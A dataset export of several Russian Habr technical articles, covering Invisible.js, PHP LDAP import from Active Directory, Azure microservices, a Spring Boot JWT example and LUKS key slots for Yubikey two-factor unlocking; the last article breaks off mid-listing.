text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Invisible.js — одни модели и на клиенте и на сервере
[Invisible.js](http://invisiblejs.github.io/) — библиотека, позволяющая использовать одни и те же модели данных как на клиенте, так и на сервере. На сервере работает поверх **express.js** на клиент отдается через [browserify](https://github.com/substack/node-browserify).
Что есть:
* возможность один раз описать модель (включая типизацию и валидацию) и использовать ее на клиенте и на сервере,
* связь с **MongoDb** (при записи на сервере — объект пишется сразу в базу, при записи на клиете, используется **RESTful API**, автоматически созданное на сервере),
* хуки на изменение данных (события бегают туда-сюда через **socket.io**).
Пример описания модели (будет доступно и на клиенте и на сервере):
```
Invisible = require("invisible");
crypto = require("crypto");
_s = require("underscore.string");
function Person(firstName, lastName, email){
this.firstName = firstName;
this.lastName = lastName;
this.email = email;
}
Person.prototype.fullName = function(){
return this.firstName + ' ' + this.lastName;
}
Person.prototype.getAvatarUrl = function(){
cleanMail = _s.trim(this.email).toLowerCase();
hash = crypto.createHash("md5").update(cleanMail).digest("hex");
return "http://www.gravatar.com/avatar/" + hash;
}
module.exports = Invisible.createModel("Person", Person);
```
Использование на сервере:
```
Invisible = require("invisible")
john = new Invisible.Person("John", "Doe", "john.doe@mail.com");
john.fullName(); //John Doe
```
Использование на клиенте:
```
jane = new Invisible.Person("Jane", "Doe", "jane.doe@mail.com");
alert(jane.fullName()); //Jane Doe
```
Подробно можно посмотреть на [github-страничке](https://github.com/invisiblejs/invisible).
**П.С.** Эта библиотека — прекрасный пример [изоморфного JavaScript](http://habrahabr.ru/post/203444/). Побольше бы такого добра! | https://habr.com/ru/post/206526/ | null | ru | null |
# Интеграция со службами каталогов при разработке корпоративных порталов на платформе LAMP
Решаемая бизнес-задача / сфера применения
-----------------------------------------
Веб-разработчики с завидной регулярностью получают заказы на создание корпоративных порталов. Под порталами в данном случае понимаются внутренние сайты предприятий, предоставляющие информацию и сервисы для собственных сотрудников и наиболее близких партнёров.
Подавляющее большинство крупных предприятий уже активно использует единую авторизацию на основе служб каталогов, доступ к которым осуществляется по [Lightweight Directory Access Protocol (LDAP)](http://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol "Статья на Wikipedia про Lightweight Directory Access Protocol (LDAP)").
Совершенно естественно, что заказчики заинтересованы в интеграции разрабатываемого портала со службами каталогов, а разработчикам выгодно использовать внешнюю систему авторизации с точки зрения сокращения объёма работ в проекте. И хотя в ряд коробочных продуктов класса «Система управления информацией» встроена интеграция со службами каталогов, разработчикам, тем не менее, приходится решать различные технические и организационные вопросы.
Краткое описание проекта
------------------------
Проект, который реализовывала наша компания в начале 2008 года, представляет собой функционально насыщенный корпоративный информационный портал холдинга, включающего в себя несколько территориально распределенных компаний. Подразделения холдинга большей частью объединены службой каталогов [Microsoft Active Directory (AD)](http://ru.wikipedia.org/wiki/Active_Directory "Статья на Wikipedia о Microsoft Active Directory").
Платформа для реализации проекта: Linux, Apache, PHP, MySQL, [Cetera CMS](http://www.cetera.ru/products/cms/ "Cetera CMS")
Основные причины использования авторизации на основе AD в данном проекте:
* Обеспечение единого центра управления пользователями (собственно, AD) для системных администраторов компании.
* Упрощение доступа к порталу сотрудников компании, для которых необходимость ввода лишнего пароля могла стать критической для начала использования портала.
* Большое количество сотрудников компании (несколько тысяч человек), что делает практически невозможным ввод перечня сотрудников в БД портала и распределение персонала по дереву компаний и отделов и телефонному справочнику, реализованному в рамках портала.
Используемые технологии
-----------------------
Две основные задачи — импорт данных из AD и дальнейшая авторизация пользователей, просматривающих страницы портала.
Импорт данных из AD осуществляется через LDAP. LDAP позволяет получить доступ к информации домена — списку пользователей, групп, компьютеров домена и т.д.
Авторизация пользователя производится средствами Apache, а точнее его модуля [mod\_ntlm](http://www.gknw.net/development/apache/ "mod_ntlm для Apache") (доступен для версий Apache 1.3.х, для 2.2.х используется модуль mod\_auth\_sspi). Mod\_ntlm авторизует пользователя на этапе обращения к странице, и, если пользователь проходит авторизацию, его данные (имена домена и пользователя) передаются в переменных сервера (для PHP это $\_SERVER)
Описание полей AD
-----------------
В рамках данного проекта требовалось получить следующую информацию о пользователе из AD:
* полное имя (фамилия, имя, отчество)
* доменное имя
* email
* должность
* принадлежность к компании/отделу (относительно корпоративной структуры заказчика)
Имя пользователя в домене (его логин) хранится в поле SAMAccountName. Title, Department и Company описывают должность, отдел и компанию. Email хранится в поле Mail, полное имя пользователя содержится в поле Name.
Импорт сотрудников
------------------
Всякая запись в каталоге LDAP состоит из одного или нескольких атрибутов и обладает уникальным именем (DN — англ. Distinguished Name). Имя может выглядеть, например, следующим
образом:
> «cn=Иван Петров, ou=Сотрудники, dc=example, dc=com».
Уникальное имя состоит из одного или нескольких относительных уникальных имен (RDN — англ. Relative Distinguished Name), разделённых запятой. Относительное уникальное имя имеет вид ИмяАтрибута=значение. На одном уровне каталога не может существовать двух записей с одинаковыми относительными уникальными именами. В силу такой структуры имени записи в каталоге LDAP можно легко представить в виде дерева.
Для выполнения поиска по структуре службы каталога требуется указать путь к корневому элементу, относительно которого будет осуществлен поиск. Также можно указать фильтр, состоящий из перечисления имен атрибутов записи и их значений в формате ИмяАтрибута=Значение.
Предположим, что требуется осуществить импорт сотрудников домена COMPANY.RU. Для этого путь поиска будет, например, такой:
> cn=Users, dc=COMPANY, dc=RU
**cn=Users** указывает на т.н. контейнер под название Users.
При выполнении такого поиска без дополнительной фильтрации в результатах могут присутствовать другие элементы помимо самих пользователей. Например, данные о группах. Для получения в результатах поиска лишь данных о пользователях укажем фильтр:
> ObjectCategory=Person.
В некоторых случаях пользователи в AD могут размещаться в т.н. Organizational Units. В таком случае используем путь поиска:
> ou=Users-and-computers, dc=COMPANY, dc=RU.
Такой путь подразумевает, что данные об учетных записях находятся в Organizational Unit под названием Users-and-computers.
В процессе импорта может возникнуть потребность определения активности учетной записи пользователя. При импорте может быть интересен атрибут учетной записи [UserAccountControl](http://support.microsoft.com/?kbid=305144 "Управление свойствами UserAccountControl с использованием флагов контроля учетных записей"), в котором сохраняются в двоичном виде различные свойства учетной записи. Интересным может быть признак **ACCOUNTDISABLE (0x0002)**. Если данный флаг установлен в атрибуте UserAccountControl, учетная запись считается заблокированной.
Для поиска всех активных пользователей потребуется модифицировать фильтр. Он будет таким:
> (&(objectcategory=Person)(!(UserAccountControl:1.2.840.113556.1.4.804:=2)))
**1.2.840.113556.1.4.804** — т.н. OID (Object IDentifier), данный OID применяется для отбора объектов, выбранный атрибут которых содержит либо все, либо любой из указанных в фильтре битов. Приведенный выше OID признает совпадение, если в атрибуте присутствует любой из указанных битов. 2 — это значение флага ACCOUNTDISABLE. Данный фильтр целиком можно расшифровать так: Атрибут objectcategory равен Person и в атрибуте UserAccountControl не присутствует бит 2 (0x0002)
Пример кода на PHP
`<br/
/**
* Данный код подключается к AD и получает список всех незаблокированных сотрудников
* контейнера Users из домена СOMPANY.RU
* Выводится имя сотрудника, его email, компания, отдел и должность в соответствии с данными,
* полученными из AD
*/
$ds=ldap_connect("1.2.3.4");
if ($ds) {
$r=ldap_bind($ds,'COMPANY\\admin','adminPassword');
$sr=ldap_search($ds,
"cn=Users, dc=COMPANY, dc=RU",
'(&(objectcategory=Person)(!(UserAccountControl:1.2.840.113556.1.4.804:=2)))');
echo "Number of entires returned is " . ldap_count_entries($ds, $sr) . "
";
$info = ldap_get_entries($ds, $sr);
// $info содержит результаты запроса...
for ($i=0; $i<$info["count"]; $i++) {
echo "Name: {$info[$i]['name'][0]}
\n";
echo "Email: {$info[$i]['mail'][0]}
\n";
echo "Company: {$info[$i]['company'][0]}
\n";
echo "Department: {$info[$i]['department'][0]}
\n";
echo "Title: {$info[$i]['title'][0]}
\n";
}
ldap_close($ds);
} else {
echo "Unable to connect to LDAP server";
}
?>`
Дополнительная информация по работе с LDAP в PHP может быть получена в [документации](http://ru2.php.net/manual/ru/ref.ldap.php "LDAP Функции в PHP")
Проблемы и решения
------------------
### Отсутствие в службе каталогов информации о сотрудниках, достаточной для отображения на портале (полные имена, адреса Email, названия подразделений, хобби, поля корпоративной социальной сети и т.д.).
Почти всегда в службе каталогов не содержится вся информация, необходимая для работы портала. Могут отсутствовать как «банальные» данные, например, номер телефона, так и нетипичные для службы каталогов сведения типа «перечень мест предыдущей работы для нужд корпоративной социальной сети». При этом необходимость этих данных для портала сложно недооценивать.
Нашим решением проблемы является хранение учётных записей в службе каталогов, а расширенной информации — в открытой БД портала. Предполагается, что управление списком и ролями пользователей осуществляется в службе каталогов, а всё остальное — задачи портала.
Недостатком решения является необходимость связывания и синхронизации перечней пользователей в службе каталогов и в БД портала.
Важнейшие преимущества:
* предоставление пользователям возможности самостоятельно дополнять информацию о себе в БД портала с последующей модерируемой загрузкой этих сведений в службу каталогов;
* возможность быстро настраивать набор полей в профиле пользователя портала без влияния на работу службы каталогов.
### Отсутствие в службе каталогов достоверной информации о принадлежности сотрудника к той или иной компании холдинга или отделу
Стандартом де-факто для корпоративных порталов является отображение дерева компаний холдинга и отделов с автоматической привязкой к дереву сотрудников. При этом часто в службе каталогов сотрудники хранятся единым плоским списком с указанием компаний и отделов в каких-либо свойствах пользователей службы каталогов.
Наше решение:
1. Завести дерево компаний и отделов на портале средствами системы управления контентом, используя данные об организационной структуре, предоставленные заказчиком.
2. Импортировать сотрудников из службы каталогов со сверкой названий элементов дерева, заведенного в БД портала, с содержимым карточек пользователей службы каталогов.
3. Пользователей, для которых определить положение в дереве не удалось, импортировать во временную директорию.
4. По итогам импорта отображать протокол с нотификацией администраторов портала и службы каталогов о недостатках импорта и некачественных записях в службе каталогов. | https://habr.com/ru/post/30182/ | null | ru | null |
# Приложение на основе микросервисов на Azure
Эта публикация посвящена двум приложениям на основе микросервисов, созданным и развернутым в Microsoft Azure Service Fabric и в службе контейнеров Azure. Хотя основное внимание уделяется приложениям на основе микросервисов, работающим в Azure Service Fabric и в службе контейнеров Azure, следует отметить, что Azure — это открытая платформа, которая позволяет запускать приложения на основе микросервисов с помощью различных технологий, например, CloudFoundry, RedHat Openshift или Kubernetes.
Azure Service Fabric
--------------------
Начнем с готовой платформы микросервисов [Azure Service Fabric](https://azure.microsoft.com/en-us/documentation/services/service-fabric/). Она дает возможность разрабатывать и упаковывать надежные масштабируемые микросервисы в контейнерах и вне контейнеров, а также управлять ими. У платформы Service Fabric свыше 300 пользователей, в число которых входят такие компании, как BMW и Schneider Electric.
Кластеры Service Fabric можно подготовить к работе практически в любой среде, например, в общедоступной среде [Azure](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069), локальной среде, частном облаке или решении других поставщиков облачных служб. Общедоступная версия Service Fabric работает под управлением ОС Windows, но существует и версия для Linux, доступная для частного предварительного ознакомления. Перейдите по ссылке для получения дополнительных сведений о [развертывании Service Fabric на базе Windows Server или Linux](https://azure.microsoft.com/en-us/documentation/articles/service-fabric-deploy-anywhere/).
Помимо [основных возможностей платформы](https://azure.microsoft.com/en-us/documentation/articles/service-fabric-architecture/), к числу которых относится быстрое развертывание, размещение служб, высокая надежность, высокая плотность, отчеты о работоспособности, скоординированные обновления и обнаружение конечных точек службы для любых типов приложений (Node.js, Java и тому подобное), в Service Fabric поддерживаются модели программирования для создания микросервисов с отслеживанием и без отслеживания состояния. В настоящее время модели программирования доступны для .NET в Windows и для Java в Linux.
Микросервисы Service Fabric с отслеживанием состояния, напротив, сохраняют состояние локально в вычислительных экземплярах. За счет этого снижаются задержки при чтении и записи, а также упрощается общая архитектура, поскольку перемещаемых компонентов становится меньше. Одна из основных целей Service Fabric состоит в том, чтобы поддерживать надежность и согласованность данных. Для этого применяется репликация.
Пример использования микросервисов
----------------------------------
Решение для поточной передачи и кодирования TalkTalk изначально было создано по методике Lift and Shift в рамках предложения [Azure](https://azure.microsoft.com/ru-ru/free/?wt.mc_id=AID570629_QSG_BLOG_139069) «инфраструктура как услуга», поскольку так было проще всего перенести все приложение в облако. Тем не менее в условиях непрерывного и быстрого роста бизнеса и появления новых требований разработчики TalkTalk стали внедрять подход на основе микросервисов в некоторых частях своего приложения, используя Azure Service Fabric в качестве платформы.
За счет этого им удалось упростить развертывание служб, получить более гибкие возможности масштабирования каждой службы, а также исключить простои при обновлении отдельных служб. Приложение на основе микросервисов также хорошо интегрируется с Azure Media Services и Azure Batch.
На рисунке показана общая архитектура приложения на основе микросервисов и ход обработки запроса на кодирование в таком приложении.
Ниже приводится описание роли каждого микросервиса при обработке запроса:
**Шаг 1**. Клиент TalkTalk вызывает метод `EncodeRequest`, доступный для веб-API Activity посредством API управления Azure.
**Шаг 2.** Веб-API Activity без отслеживания состояния представляет собой прослушиватель на основе Open Web Interface для .NET (OWIN). В нем размещен контроллер API, предоставляющий возможность создавать новые запросы кодирования. Службы за пределами Service Fabric используют этот API для внешнего взаимодействия. Он получает вызовы от службы управления API.
**Шаг 3.** Микросервис Activity с отслеживанием состояния использует API надежной очереди в Service Fabric для входящей работы. Затем этот микросервис создает субъект действия, представляющий работу кодирования, которую необходимо выполнить.
**Шаг 4.** Микросервис ActivityActor представляет список рабочих элементов для отслеживания выполнения каждого шага и для создания субъектов действия каждого шага. Создаваемые субъекты отслеживают состояние, поэтому даже при сбоях данные не теряются за счет их репликации.
**Шаг 5.** Микросервис ActivityStepActor координирует этапы работы. Работа выполняется в других приложениях Service Fabric. Например, приложение для управления заданиями шифрования использует Azure Batch для выполнения настраиваемого шага шифрования, необходимого для абонентских приставок TalkTalk. Само приложение для управления заданиями шифрования содержит множество микросервисов и инкапсулирует необходимые взаимодействия Azure Batch. Субъект шага действия обменивается данными с соответствующими службами с помощью прокси-сервера служб, предоставляемого платформой Service Fabric.
Микросервис ActivityStep без отслеживания состояния предоставляет доступ к Service Communication Listener, поэтому другие службы Service Fabric, такие как приложение для управления заданиями Azure Media Services (AMS) (шаг 6) и приложение для управления заданиями шифрования (шаг 7), могут взаимодействовать с шагами действий. Такой принцип работы похож на обратные вызовы: например, когда служба Batch завершает работу, необходимо обратиться к ActivityStepActor для завершения или обновления этапа работы.
В ходе этого процесса напоминание о каждом субъекте используется для периодического сохранения состояния субъекта в DocumentDB. Это делается для двух целей: во-первых, чтобы предоставить возможность выполнения произвольных запросов, во-вторых, чтобы организовать защиту и резервное копирование данных вне платформы Service Fabric.
Подробное описание приложения TalkTalk на основе микросервисов доступно [здесь](https://blogs.msdn.microsoft.com/azureservicefabric/2016/03/15/service-fabric-customer-profile-talktalk-tv/).
Azure Container Service
-----------------------
[Azure Container Service](https://azure.microsoft.com/en-us/documentation/services/container-service/) (ACS) — еще одна служба Azure, дающая возможность развертывать и запускать приложения на основе микросервисов. В число пользователей ACS входят компании Avanade, ESRi и CloudBees.
Основная функциональность ACS позволяет создать кластер для управления контейнерными нагрузками, применяя [DC/OS](https://dcos.io/) или [SWARM](https://docs.docker.com/swarm/) в качестве оркестратора. С точки зрения микросервисов вы отвечаете за выбор средств обнаружения и регистрации служб, обмена информацией, мониторинга и тому подобное. В этом также заключается основное отличие от платформы Service Fabric, возможности которой выходят за рамки кластера и оркестратора и включают интегрированные услуги, в том числе регистрацию и обнаружение служб, а также модели программирования.
#### Преимущества ACS
Начнем с очевидного: использование технологий программного обеспечения с открытым исходным кодом (OSS). Если учесть, что ACS использует Docker Swarm и Mesosphere DC/OS, то к вашим услугам все ресурсы сообщества OSS, доступные для этих двух технологий. Поскольку эти технологии доступны на рынке уже давно, вы с легкостью найдете пошаговые руководства, учебные материалы, фрагменты кода и даже готовые решения для практически любых сценариев.
Еще одно преимущество заключается в простоте настройки кластера и управления им с помощью Azure. Тем из вас, кому приходилось настраивать кластер DC/OS или Docker Swarm на «голом железе» или на виртуальных машинах, хорошо известно, что для этого требуется намного больше, чем просто подключить несколько машин друг к другу. Также нужно настроить различные дополнительные компоненты и службы, предоставить доступ к конечным точкам, связать агенты с подсистемой балансировки нагрузки и т. д. Чтобы автоматизировать настройку такого кластера, придется написать достаточно объемный сценарий. ACS упрощает настройку кластера за счет применения шаблонов и абстрагирования всех этапов настройки.
Впрочем, настройка кластера машин с оркестратором — это лишь полдела. После настройки и запуска кластера может потребоваться установить исправления на машины в составе этого кластера или обновить их до более поздней версии SWARM и DC/OS. Для таких задач обычно требуется тщательное планирование. В будущем ACS будет поддерживать полностью управляемую инфраструктуру, чтобы разработчики могли сосредоточиться только на рабочих нагрузках в кластере, не тратя время на задачи, связанные с управлением инфраструктурой.
Подготовить кластер к работе можно либо на портале Azure, либо автоматически с помощью шаблона диспетчера ресурсов Azure в рамках подхода «инфраструктура как услуга». Нужно будет предоставить только следующие значения:
* orchestratorProfile — оркестратор, который нужно использовать (DCOS или Swarm);
* masterProfile — количество главных узлов и префикс DNS;
* agentPoolProfiles — количество узлов агентов, размер узлов и префикс DNS;
* linuxProfile — имя пользователя и ключ SSH для подключения к узлам.
В приведенном ниже фрагменте показан код JSON шаблона диспетчера ресурсов Azure для ACS.
```
“resources”: [
{
“apiVersion”: “2016–03–30”,
“type”: “Microsoft.ContainerService/containerServices”,
“location”: “[resourceGroup().location]”,
“name”:”[concat(‘containerservice-’,resourceGroup().name)]”,
“properties”: {
“orchestratorProfile”: {
“orchestratorType”: “[variables(‘orchestratorType’)]”
},
“masterProfile”: {
“count”: “[variables(‘masterCount’)]”,
“dnsPrefix”: “[variables(‘mastersEndpointDNSNamePrefix’)]”
},
“agentPoolProfiles”: [
{
“name”: “agentpools”,
“count”: “[variables(‘agentCount’)]”,
“vmSize”: “[variables(‘agentVMSize’)]”,
“dnsPrefix”: “[variables(‘agentsEndpointDNSNamePrefix’)]”
}
],
“linuxProfile”: {
“adminUsername”: “[variables(‘adminUsername’)]”,
“ssh”: {
“publicKeys”: [
{
“keyData”: “[variables(‘sshRSAPublicKey’)]”
}
]
}
}
}
}
```
В результате вы получаете полностью настроенный кластер DC/OS или Docker Swarm, в котором можно развертывать приложения. На рисунке показаны выходные данные полностью настроенного кластера ACS на основе DC/OS.
Помимо развертывания, служба ACS интегрируется с масштабируемыми наборами виртуальных машин (VMSS), которые будут поддерживать простое автоматическое масштабирование и установку исправлений для всего оркестратора и всей инфраструктуры. Как сказано выше, в ACS можно развертывать и запускать совершенно любые приложения на основе микросервисов. За счет этого при развертывании с помощью ACS достигается очень высокая гибкость возможностей. Для запуска приложений на основе микросервисов можно использовать любые решения под управлением DC/OS или Docker Swarm, которые вы стали бы использовать в других средах.
Рассмотрим пример приложения на основе микросервисов, где в качестве оркестратора используется DC/OS в службе контейнеров Azure. Flak.io — пример приложения для электронной коммерции, созданный специально для демонстрации возможностей микросервисов. Это приложение:
* использует разные технологии,
* соблюдает разные требования к масштабу и доступности для каждой службы,
* хранит данные отдельно для каждой службы,
* использует возможности регистрации и обнаружения служб DC/OS.
С точки зрения пользователя, это приложение позволяет просматривать товары в каталоге и покупать их.
Приложение состоит из четырех основных служб и службы интерфейса:
* **Интерфейс** реализован в виде AngularJS SPA, предоставляет целевую страницу для Flakio.
* **Служба каталога** отвечает за управление информацией о товарах.
* **Служба заказов** отвечает за обработку заказов. Следует отметить, что модель товаров, используемая в службе заказов, отличается от модели товаров в службе каталога, поскольку она относится к другому контексту.
* **Служба рекомендаций** подготавливает рекомендации, анализируя историческую информацию и данные реального времени.
* **Служба уведомлений** отвечает за отправку уведомлений по электронной почте, а также за хранение шаблонов электронных писем и управление ими.
На рисунке показана общая архитектура Flak.io.
Исходный код Flak.io доступен на [GitHub](https://github.com/flakio).
**Примечание.** Проект Flak.io еще не закончен. Продолжается работа над хранением записей о событиях, созданием служб рекомендаций и уведомлений, но в целом это приложение позволит получить достаточно полное представление о проектировании и развертывании контейнерного приложения на основе микросервисов в ACS.
Итоги
-----
В этой публикации мы рассмотрели два примера архитектур микросервисов: для Service Fabric и для службы контейнеров Azure. В целом Service Fabric можно рассматривать как готовое решение для создания приложений на основе микросервисов, в котором служба контейнеров Azure поможет быстро настроить кластер и управлять инфраструктурой, используя DC/OS или SWARM, чтобы разработчики могли полностью сосредоточиться на написании кода. После подготовки кластера ACS можно использовать любые удобные технологии для приложений на основе микросервисов, а также возможности постоянно растущих сообществ Docker и Mesoshpere.
### Полезные мероприятия
Если вам мало статей и хотелось бы пообщаться удалённо или лично со мной или коллегами на тему создания микросервисных и других решений в Azure, приходите к нам на следующие меропрития.
1. **Запись вебинара 11 апреля**. [Новые подходы в облачной архитектуре: контейнеры и микросервисы](https://info.microsoft.com/CE-Azure-WBNR-FY17-03Mar-28-Theuseofcontainersandmikroservisov307264_02OnDemandRegistration.html) (требуется регистрация)
2. **19 апреля, Москва, митап**. [Микросервисы в Azure](https://www.meetup.com/Moscow-Cloud-Computing-Meetup/events/238822625/) (требуется регистрация через meetup.com)
3. **21-23 апреля, Москва, DevCon School**. [Современная архитектура](https://events.techdays.ru/Modern-Architecture/2017-04/apply) (требуется регистрация)
**Если вы дочитали до этого места и хотите на [DevCon School: Современная архитектура](https://events.techdays.ru/Modern-Architecture/2017-04/apply), но у вас нет промо-кода, напишите мне лично сообщение с объяснением, зачем вы хотите туда попасть. У меня, как обычно, для читателей Habra есть несколько промо-кодов**.
#### Полезные ссылки
1. [Начало работы с Service Fabric](https://azure.microsoft.com/en-us/documentation/learning-paths/service-fabric/)
2. [Service Fabric бесплатно с использованием кластеров Party Clusters](http://tryazureservicefabric.westus.cloudapp.azure.com/)
3. [Служба контейнеров Azure](https://azure.microsoft.com/en-us/services/container-service/)
4. [Развертывание и запуск приложений на основе микросервисов в ACS](https://mva.microsoft.com/en-US/training-courses/building-distributed-applications-and-microservices-based-apps-on-azure-container-service-16521) | https://habr.com/ru/post/326054/ | null | ru | null |
# JSON Web Token (JWT) — пример Java реализации на Spring Boot OAuth2 Resource Server 6.0
Доброе время!
Часть 2-я по открытому занятию нового учебного курса: реализация простого JWT через новый Spring Boot OAuth2 Resource Server (первая часть: [Spring Boot 3.0 — готовимся заранее](https://habr.com/ru/post/683936/)). Что такое JWT и зачем, писать здесь не буду - в сети материалов много, начинать знакомство обычно рекомендую с [Википедии](https://ru.wikipedia.org/wiki/JSON_Web_Token). А вот [хорошая ссылка](https://gist.github.com/zmts/802dc9c3510d79fd40f9dc38a12bccfc) по реализации JWT+OAuth2. Здесь я привожу Java код, основанный на официальном примере spring-projects - простейшей реализации [JWT Login Sample](https://github.com/spring-projects/spring-security-samples/tree/main/servlet/spring-boot/java/jwt/login) (без refresh token и отдельного авторизационного сервера), "творчески доработанный" и с моими пояснениями. Еще раз - **без теории**, для тех, кому **интересен код актуальной Java реализации**. Если это Вы - прошу к прочтению.
Чтобы не повторять каждый раз основы, курс стартует с финального кода открытого проекта Spring Boot 2.x + HATEOAS: Basic аутентификация и авторизация на основе ролей, регистрация пользователя в приложении, управление своим профилем и администрирование пользователей ([код на GitHub](https://github.com/JavaOPs/bootjava/tree/patched)). Реализация добавления JWT аутентификации находится [в ветке patched другого репозитория, начиная с 3го комита](https://github.com/JavaOPs/cloudjava/commits/patched). Для разбора кода проще всего вычекать его к себе:
`git clone --branch patched https://github.com/JavaOPs/cloudjava`
### Комит 1\_03\_jwt\_token: реализуем получение JWT токена
Для большей безопасности будем использовать ассиметричные RS256 ключи: проверить подлинность токена может любой, а подписать его только тот, у кого есть приватный ключ. Ключи можно взять мои или заменить их своими ([generate PKCS#8 private key with openssl](https://stackoverflow.com/questions/51055884/548473)):
```
openssl genpkey -out jwt.pem -algorithm RSA -pkeyopt rsa_keygen_bits:2048 - приватный ключ в формате PKCS8писи
openssl rsa -in jwt.pem -pubout -out jwt.pub - публичный ключ для декодирования
```
* Поместим ключи в `\src\main\resources\keys`
* Добавляем зависимость `org.springframework.boot:spring-boot-starter-oauth2-resource-server`
* Объявляем ключи в `application.yaml` и инжектим в `JwtSecurityConfiguration`. С помощью ключей создаем бины `JwtDecoder/JwtEncoder`
* `SecurityConfiguration` переименовываем в `LoginSecurityConfiguration`. `httpBasic` будем использовать только для получения JWT
* Создаем `TokenController`, где генерируем JWT. Детали залогиненного пользователя `AuthUser` добавляю в JWT в отдельном `JwtUtil#addUserDetails`
* "Выключаем" тесты через Junit5 `@Disabled`
**Перед сборкой не забываем *gradle clean*. Проверяем получение JWT:**
```
### JetBrains Tools->HTTP Client
POST http://localhost:8080/token
Authorization: Basic admin@javaops.ru admin
```
В ответ получаем длинную строке типа `eyJhbGciOiJSUzI1NiJ9..`.Она хорошо копируется из JetBrains HTTP Client. В Unix можно сделать `export`, который можно использовать после следующего комита:
```
export JWT=`curl -XPOST -u admin@javaops.ru:admin localhost:8080/token`
```
### 1\_04\_jwt\_api: переводим API на JWT:
* Добавляем `JwtUser`, которого будем получать после JWT аутентификации из `JwtUtil#createJwtUser`. Функционал по добавлению деталей пользователя в JWT и извлечению их должен находиться рядом.
* Добавляем в `JwtSecurityConfiguration` [вторую конфигурацию AAA по JWT](https://stackoverflow.com/questions/54706291/548473) (порядок фильтров не важен). [Конвертируем стандартный](https://stackoverflow.com/a/73423923/548473) `JwtAuthenticationToken` в `JwtUser`.
* В методы `ProfileController` инжектим наш principal object `JwtUser` (с `@AuthenticationPrincipal` у меня не работает). В случае, когда для функционала необходим пользователь, достаем его из базы: `AbstractUserController#findByJwtUser` (не обязательно это делать для всех методов API).
* В *SecurityContext* при обращении к API теперь попадает объект `JwtUser`, рефакторим `SecurityUtil`
***gradle clean* и проверяем API: полученный JWT вставляем вместо *[JWT\_TOKEN]*:**
```
GET http://localhost:8080/api/profile
Authorization: Bearer [JWT_TOKEN]
или
curl -H "Authorization: Bearer $JWT" localhost:8080/api/profile
```
### 1\_05\_jwt\_test: восстанавливаем тесты
Как вариант можно воспользоваться [jwt() подменой](https://docs.spring.io/spring-security/reference/servlet/test/mockmvc/oauth2.html#testing-jwt). Но я делаю все честно, с получением токена:
* В `AbstractControllerTest` добавляем вспомогательные методы `getJWT` с Basic авторизацией
* Добавляем тесты на получения JWT: `TokenControllerTest`
* Для API добавляем вспомогательный `AbstractControllerTest#performJwt` с аторизационным *Bearer* заголовком. Чтобы токены не перезапрашивать в каждом тесте, кэшируем их в `AbstractControllerTest#userJwtMap` (синхронизация не нужна - не проблема, если даже они перевычислятся несколько раз)
* Рефакторим тесты API с использованием этих методов. Где нет авторизации, остаются старые методы `perform`
***Проверяемся: gradle test***
Код открытый, можно модифицировать. Ссылка на источник не обязательна, но, если сделаете, буду признателен:) Если код нравится - проголосуйте "за", если нет - напишите замечание в комментарии. Если вы ждали объяснений работы JWT - не надо минусовать статью - вы плохо прочли аннотацию к ней.
Приятного кодинга! | https://habr.com/ru/post/684270/ | null | ru | null |
# Двухфакторная аутентификация при монтировании зашифрованного раздела LUKS с помощью Yubikey 4
### Часть 3: Yubikey 4 и LUKS
### Введение
В статье рассматривается реализация двухфакторной аутентификации с помощью ключа Yubikey 4 для монтирования зашифрованного раздела LUKS.
Процесс реализации двухфакторной аутентификации с помощью ключа Yubikey 4 для монтирования зашифрованного раздела LUKS можно разбить на три части:
1. Подготовка LUKS раздела.
2. Подготовка к использованию ключа Yubikey 4 в операционной системе.
3. Непосредственно использование ключа Yubikey 4 для двухфакторной аутентификации.
Начальные условия:
* Linux Mint 18 Sarah 64-bit
* Yubikey 4
### Подготовка LUKS раздела
Необходимо провести предварительный анализ существующего LUKS раздела.
Для использования двухфакторной аутентификации с помощью ключа Yubikey 4 нам необходим один свободный слот LUKS раздела. Поэтому нужно знать, сколько слотов свободно и каких именно.
Кроме того, неплохо будет ввести дополнительный (резервный) ключ на случай потери (случайной перезаписи) основного ключа. Как дополнительная мера безопасности, может быть создан дамп MasterKey.
Важно отметить, что на реальной системе может использоваться не /dev/sdb1, а другое устройство. Команды в статье даны для иллюстрации. В вашей системе, например, это может быть устройство /dev/sdb5.
Восемь слотов для ключей LUKS
-----------------------------
В LUKS для одного зашифрованного раздела используются восемь слотов, в каждом из которых может храниться отдельный ключ. Любой из восьми ключей может быть использован для расшифровки раздела. Можно использовать только один ключ, либо можно назначить все восемь.
Для просмотра всех слотов необходимо воспользоваться командой **cryptsetup**:
```
# cryptsetup luksDump /dev/sdb1 | grep Slot
Key Slot 0: ENABLED
Key Slot 1: ENABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
```
В данном примере:
* /dev/sdb1 — LUKS раздел.
* Слоты с ключами начинаются с номера 0. Таким образом, можно использовать слоты с 0 по 7.
* ENABLED — слот содержит ключ назначенный для раздела LUKS.
* Два слота назначены для хранения ключей.
Добавление нового ключа
-----------------------
Для добавления нового ключа — парольной фразы — шифрованного раздела LUKS используется команда luksAddKey:
```
# cryptsetup luksAddKey /dev/sdb1
Enter any passphrase:
Enter new passphrase for key slot:
Verify passphrase:
```
В данном примере:
* /dev/sdb1 — зашифрованный раздел
* Enter any passphrase: — ввод уже существующего любого ключа
* Enter new passphrase for key slot: — ввод нового ключа
* Verify passphrase: — повторение ввода нового ключа
Новый ключ будет добавлен в следующий по порядку доступный слот. В данном случае, это будет слот 2.
```
# cryptsetup luksDump /dev/sdb1 | grep Slot
Key Slot 0: ENABLED
Key Slot 1: ENABLED
Key Slot 2: ENABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
```
Добавление нового ключа в указанный слот
----------------------------------------
Для добавления ключа в указанный слот используется опция -S с указанием номера слота:
```
# cryptsetup luksAddKey /dev/sdb1 -S 5
# cryptsetup luksDump /dev/sdb1 | grep Slot
Key Slot 0: ENABLED
Key Slot 1: ENABLED
Key Slot 2: ENABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: **ENABLED**
Key Slot 6: DISABLED
